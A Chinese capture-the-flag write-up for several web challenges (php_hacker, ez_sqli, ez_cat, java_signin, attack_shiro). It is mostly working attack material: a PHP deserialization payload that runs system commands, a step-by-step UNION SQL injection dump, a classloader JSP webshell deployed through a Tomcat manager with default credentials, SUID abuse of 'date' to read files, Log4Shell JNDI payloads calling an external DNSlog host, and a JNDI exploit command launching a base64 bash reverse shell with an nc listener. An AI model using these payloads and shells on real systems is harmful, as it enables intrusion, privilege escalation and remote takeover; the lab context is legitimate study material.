假期的训练赛

Web

php_hacker

非常经典的复建题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
highlight_file(__FILE__);
class Executor {
public $command;

public function __wakeup() {
if(isset($this->command)) {
eval($this->command);
}
}
}

$a = new Executor();
$a -> command = "system(\"cat /f_l_a_g\");";//字符串里面转义一下就好了

$payload = serialize($a);
printf(base64_encode($payload));
?>

ez_sqli

/search有回显,选择这个比较爽

搜一下1,观察请求体TVE9PQ%3d%3d,发现经过一次url 两次base64。下面我们提交的请求都要先base64两次然后url一次。

开始找注入点,’#后正常输出,#和”#后输出都会变化,确定包裹方式为’#。(其余包裹方式可自行尝试)

有回显的情况先看回显有几列,1'order by 4#正常,5会报错,确定有4列。

下面确定哪列有回显,1'union select 1,2,3,4#发现234都有回显。

爆当前库名:1'union select 1,2,3,database()#库名为sql1

爆表名:1'union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='sql1'#有表items,secrets,users

爆secrets列名:1'union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='secrets'#,发现有id,secret_info

爆所有字段:1'union select 1,2,3,group_concat(concat_ws(0x7e,id,secret_info)) FROM sql1.secrets#,拿到flag。

ez_cat

先看题目提示说是tomcat服务器,然后提示说是suid提权,并且给了admin:admin(第一眼还不知道这代表啥)

确定是tomcat以后搜一下tomcat漏洞,发现这篇干货|最全的Tomcat漏洞复现笔记-腾讯云开发者社区-腾讯云 (tencent.com)里面有很多方式,尝试一番发现admin就是控制台的账号密码,进入了控制台。

接着就是上传war包,首先抄一个马test.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}

public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>

然后打包成war文件上传,打包命令是jar -cvf test.war test.jsp

上传以后发现路径里已经显示了/test,用蚁剑访问http://47.76.71.50:20007/test/test.jsp(必须要访问到里面的马的),密码是passwd。

进入以后发现flag.txt在根目录下,但是权限不够无法访问,结合提示考虑suid提权:

find / -user root -perm -4000 -print 2>/dev/null找到所有可能用于提权的指令,

发现有一个date,date虽然不能直接帮我们提权但是可以用来读文件的

date -f /flag.txt读出flag。

java_signin

(拿人家提示套过程的我是屑

使用jadx逆jar包,查看pom.xml,发现其中存在log4j2,搜索发现CVE-2021-44228

首先尝试是否存在这个漏洞,找个dnslog服务,然后使用payload:${jndi:ldap://bd079ba8b5.ipv6.bypass.eu.org.}

难点在找注入点:正常来说如果用户有搜索框提交框的话,那么可能搜索记录会被日志记录从而触发漏洞,但是这个网站点开就是跳转到原神官网,没有其他路由,所以是不存在这种可能性的;然后根据masterlin的提示:报错触发log4j2日志记录,最开始尝试的是访问不存在的路由或者使用post之类的方式,但是都没触发,本地起环境的话发现只是warn,到不了error的级别;一筹莫展之际想到日志可能记录访问者ua之类的东西,开始fuzz各个请求头,发现Accept请求头如果改成payload的话能触发!

于是测试一个更有代表性的版本:${jndi:ldap://${sys:java.version}.bd079ba8b5.ipv6.bypass.eu.org.}

发现返回信息中带有它的java版本,证明漏洞存在,开始getshell。

在vps的一个终端上启动

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,Base64编码后的Payload} | {base64,-d} | {bash,-i}" -A "攻击机IP"

另一个监听反弹shell的端口

1
nc -lvp 你的端口

(但是我遇到一个问题:有些时候payload正确就是弹不上shell,不知道为什么,明天再试试)

直接查看flag就可以。

attack_shiro

这题居然是卡最久的,太难绷了。。。

主要是配环境,这个工具需要java8,装完java8一把梭就可以。

逆天的是我环境变量明明是java21,装完java8默认成java8了,太特么离谱了。

Pwn

想做pwn但是太菜,日后再更~